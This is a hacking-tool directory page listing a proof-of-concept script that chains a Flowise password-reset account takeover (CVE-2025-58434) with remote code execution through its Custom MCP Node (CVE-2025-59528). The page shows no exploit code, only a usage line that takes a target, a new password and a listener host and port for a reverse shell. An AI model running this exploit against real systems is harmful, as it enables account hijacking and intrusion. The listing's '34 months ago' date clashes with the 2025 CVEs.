Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434_CVE-2025-59528 — CVE-2025-58434 Flowise <= 3.0.5 and earlier allows account takeover via unauthenticated forgot-password token. CVE-2025-59528 lowiseAI Custom MCP Node Remote Code Execution. | Kitploit
Tools/GitHubGitHub/honney336/cve-2025-58434_cve-2025-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRemote Access Tool
GitHubhonney336/cve-2025-58434_cve-2025-59528

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434 Flowise <= 3.0.5 and earlier allows account takeover via unauthenticated forgot-password token. CVE-2025-59528 lowiseAI Custom MCP Node Remote Code Execution.

View Repository
34 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-58434_CVE-2025-59528 PoC Script

CVE-2025-58434 Flowise <= 3.0.5 and earlier allows account takeover via unauthenticated forgot-password token. CVE-2025-59528 flowiseAI Custom MCP Node Remote Code Execution.

Usage:

python3 RCE.py -d "example.com" -e "[email protected]" -np "Password@a123" -lh <IP_addr> -lp <Listening_port>

Download Tool